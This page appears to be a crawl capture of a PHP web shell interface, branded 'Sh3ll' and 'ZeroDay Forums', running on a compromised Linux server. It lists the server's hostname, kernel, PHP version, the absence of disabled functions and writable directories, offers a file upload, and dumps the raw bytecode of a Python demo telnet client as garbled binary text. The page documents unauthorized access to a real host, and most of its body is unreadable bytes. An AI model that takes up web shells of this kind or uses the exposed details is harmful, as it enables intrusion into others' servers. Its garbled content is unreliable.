Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /usr/lib64/python2.7/Demo/sockets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/Demo/sockets/telnet.pyo
�
V
�Qc@s�ddlZddlZddlZddlTdZed�Zed�Zed�Zed�Z	ed�Z
d	�Zye�Wnek
r�nXdS(
i����N(t*ii�i�i�i�i�c
Cstjd}yt|�}Wn9tk
rXtjjtjdd�tjd�nXttj�dkr~tjd}nd}d|d ko�dknr�t|�}nHyt	|d�}Wn2tk
r�tjj|d�tjd�nXt
tt�}y|j
||f�Wn>tk
ra}tjjd	t|�d
�tjd�nXtj�}|dkr�x�tjj�}|j|�q}n|d}d}	xm|jt�}
|
s�tjjd
�tj|d�tjd�nd}x�|
D]�}|	r1t|�GH|j|	|�d}	q|r�d}|tkrV||}q�|ttfkr�|tkr{dGndGtt}	q�|ttfkr�|tkr�dGndGtt}	q�dGt|�GHq|tkr�d}dGq||}qWtjj|�tjj�q�dS(Nis: bad host name
ittelnett0t9ttcps: bad tcp service name
sconnect failed: s
its(Closed by remote host)
i	s(DO)s(DONT)s(WILL)s(WONT)s	(command)s(IAC)(tsystargvt
gethostbynameterrortstderrtwritetexittlentevalt
getservbynametsockettAF_INETtSOCK_STREAMtconnecttreprtposixtforktstdintreadlinetsendtrecvtBUFSIZEtkilltordtIACtDOtDONTtWONTtWILLtstdouttflush(
thostthostaddrtservnametporttstmsgtpidtlinetiactopttdatat	cleandatatc((s+/usr/lib64/python2.7/Demo/sockets/telnet.pytmains|

 

	


(
RRttimeRRtchrRR RR!R"R2tKeyboardInterrupt(((s+/usr/lib64/python2.7/Demo/sockets/telnet.pyt<module>s$
	M


ZeroDay Forums Mini